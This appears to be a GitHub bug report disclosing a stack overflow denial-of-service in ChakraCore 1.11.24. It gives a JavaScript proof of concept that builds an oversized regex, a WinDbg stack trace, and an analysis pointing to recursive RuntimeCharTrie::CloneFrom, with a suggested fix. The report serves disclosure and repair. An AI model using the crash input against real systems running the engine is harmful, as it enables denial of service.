-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Description
Summary
Construct a specific payload to [String].match cause ChakraCore engine StackOverflow crash, which may cause denial of service.
Description
PoC
The following is JS PoC to feed ch (ChakraCore 1.11.24 x64):
var dnaInput = "tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\
catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\
tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\
caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\
tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\
aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\
aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\
ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\
gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\
ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\
cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\
ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\
cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\
gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\
taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\
ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\
aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\
gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\
acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\
ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\
tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\
tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\
tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\
ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\
tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\
gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\
gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\
\n";
dnaInput = dnaInput + dnaInput + dnaInput;
var seqs = [/a|tttaccct/ig];
Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));
for (i in seqs) {
//print(seqs[i]);
dnaInput.match(seqs[i]);
}
Analysis
Using windbg to do Time travel debug:
It's easy to find chakracore!UnifiedRegex::RuntimeCharTrie::CloneFrom
continuously invoking itself to clone from compile-time allocator to run-time allocator because of the large length of seqs[i]
, which caused stackoverflow.
The following is a stack trace:
> ChakraCore.dll!UnifiedRegex::RuntimeCharTrie::CloneFrom(Memory::ArenaAllocator * allocator, const UnifiedRegex::CharTrie & other) 行 203 C++
ChakraCore.dll!UnifiedRegex::AltNode::AnnotatePass4(UnifiedRegex::Compiler & compiler) 行 2542 C++
ChakraCore.dll!UnifiedRegex::Compiler::Compile(Js::ScriptContext * scriptContext, Memory::ArenaAllocator * ctAllocator, Memory::ArenaAllocator * rtAllocator, UnifiedRegex::StandardChars<wchar_t> * standardChars, UnifiedRegex::Program * program, UnifiedRegex::Node * root, const wchar_t * litbuf, UnifiedRegex::RegexPattern * pattern, UnifiedRegex::DebugWriter * w, UnifiedRegex::RegexStats * stats) 行 4726 C++
ChakraCore.dll!Js::RegexHelper::PrimCompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 259 C++
ChakraCore.dll!Js::RegexHelper::CompileDynamic(Js::ScriptContext * scriptContext, const wchar_t * psz, unsigned int csz, const wchar_t * pszOpts, unsigned int cszOpts, bool isLiteralSource) 行 100 C++
ChakraCore.dll!Js::JavascriptRegExp::CreatePattern(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 384 C++
ChakraCore.dll!Js::JavascriptRegExp::CreateRegExNoCoerce(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 414 C++
ChakraCore.dll!Js::JavascriptRegExp::CreateRegEx(void * aValue, void * options, Js::ScriptContext * scriptContext) 行 409 C++
ChakraCore.dll!Js::JavascriptString::EntryMatch::__l2::<lambda>(Js::JavascriptString * stringObj) 行 1411 C++
ChakraCore.dll!Js::JavascriptString::DelegateToRegExSymbolFunction<1,void * <lambda>(Js::JavascriptString *) >(Js::ArgumentReader & args, int symbolPropertyId, Js::JavascriptString::EntryMatch::__l2::void * <lambda>(Js::JavascriptString *) fallback, const wchar_t * varName, Js::ScriptContext * scriptContext) 行 1753 C++
ChakraCore.dll!Js::JavascriptString::EntryMatch(Js::RecyclableObject * function, Js::CallInfo callInfo, ...) 行 1425 C++
ChakraCore.dll!amd64_CallFunction() 行 208 未知
ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358 C++
ChakraCore.dll!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, const Js::AuxArray<unsigned int> * spreadIndices) 行 3855 C++
ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfileCallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout, Js::RecyclableObject * function, unsigned int flags, unsigned short profileId, unsigned int inlineCacheIndex, const Js::AuxArray<unsigned int> * spreadIndices) 行 3894 C++
ChakraCore.dll!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >(const Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > * playout) 行 505 C++
ChakraCore.dll!Js::InterpreterStackFrame::ProcessProfiled() 行 87 C++
ChakraCore.dll!Js::InterpreterStackFrame::Process() 行 3355 C++
ChakraCore.dll!Js::InterpreterStackFrame::InterpreterHelper(Js::ScriptFunction * function, Js::ArgumentReader args, void * returnAddress, void * addressOfReturnAddress, Js::InterpreterStackFrame::AsmJsReturnStruct * asmJsReturn) 行 2035 C++
ChakraCore.dll!Js::InterpreterStackFrame::InterpreterThunk(Js::JavascriptCallStackLayout * layout) 行 1731 C++
[外部代码]
ChakraCore.dll!amd64_CallFunction() 行 208 未知
ChakraCore.dll!Js::JavascriptFunction::CallFunction<1>(Js::RecyclableObject * function, void *(*)(Js::RecyclableObject *, Js::CallInfo) entryPoint, Js::Arguments args, bool useLargeArgCount) 行 1358 C++
ChakraCore.dll!Js::JavascriptFunction::CallRootFunctionInternal(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 768 C++
ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::RecyclableObject * obj, Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 728 C++
ChakraCore.dll!Js::JavascriptFunction::CallRootFunction(Js::Arguments args, Js::ScriptContext * scriptContext, bool inScript) 行 829 C++
ChakraCore.dll!RunScriptCore::__l2::<lambda>(Js::ScriptContext * scriptContext, TTD::TTDJsRTActionResultAutoRecorder & _actionEntryPopper) 行 3632 C++
ChakraCore.dll!ContextAPIWrapper::__l2::<lambda>(Js::ScriptContext * scriptContext) 行 238 C++
ChakraCore.dll!ContextAPIWrapper_Core<0,_JsErrorCode <lambda>(Js::ScriptContext *) >(ContextAPIWrapper::__l2::_JsErrorCode <lambda>(Js::ScriptContext *) fn) 行 192 C++
ChakraCore.dll!ContextAPIWrapper<0,_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) >(RunScriptCore::__l2::_JsErrorCode <lambda>(Js::ScriptContext *, TTD::TTDJsRTActionResultAutoRecorder &) fn) 行 235 C++
ChakraCore.dll!RunScriptCore(void * scriptSource, const unsigned char * script, unsigned __int64 cb, LoadScriptFlag loadScriptFlag, unsigned __int64 sourceContext, const wchar_t * sourceUrl, bool parseOnly, _JsParseScriptAttributes parseAttributes, bool isSourceModule, void * * result) 行 3583 C++
ChakraCore.dll!CompileRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result, bool parseOnly) 行 4993 C++
ChakraCore.dll!JsRun(void * scriptVal, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 5015 C++
ch.exe!ChakraRTInterface::JsRun(void * script, unsigned __int64 sourceContext, void * sourceUrl, _JsParseScriptAttributes parseAttributes, void * * result) 行 419 C++
ch.exe!RunScript(const char * fileName, const char * fileContents, unsigned __int64 fileLength, void(*)(void *) fileContentsFinalizeCallback, void * bufferValue, char * fullPath, void * parserStateCache) 行 479 C++
ch.exe!ExecuteTest(const char * fileName) 行 913 C++
ch.exe!ExecuteTestWithMemoryCheck(char * fileName) 行 955 C++
ch.exe!StaticThreadProc(void * lpParam) 行 1060 C++
ch.exe!thread_start<unsigned int (__cdecl*)(void *),1>(void * const parameter) 行 97 C++
[外部代码]
Detailed Analysis
As you may see in the previous PoC, the seqs[i]
after operation Array.prototype.push.call(seqs, false, Array.prototype.concat.call(seqs, seqs, dnaInput));
is a very long regular expression /a|tttaccct/ig,/a|tttaccct/ig,tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgt...
. (More than 4000 characters)
When compiling them, they are all constructed as UnifiedRegex::AltNode, which need to build CharTrie at ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2509~2517
:
Which is a iterative build process.
bool MatchLiteralNode::BuildCharTrie
and CharTrie* CharTrie::Add
inside void AltNode::AnnotatePass4
are also running iteratively, so they won't get any problem.
However, when it running to ChakraCore-1.11.24\lib\Parser\RegexCompileTime.cpp:2541
, in RuntimeCharTrie::CloneFrom
:
It is a recursive clone process and the last AltNode
node which contains most literal part of seqs[i]
and has length more than 4000 will cause CloneFrom
repeatedly invoke itself hence stackoverflow.
My recommend solution is to rewrite this part with an iterative coding style.
Thanks!
PS: I've also tried to change the seqs to var seqs = ['aa'];
, which lead to the regex compiler treat them as a LiteralNode, hence no need to build a Trie.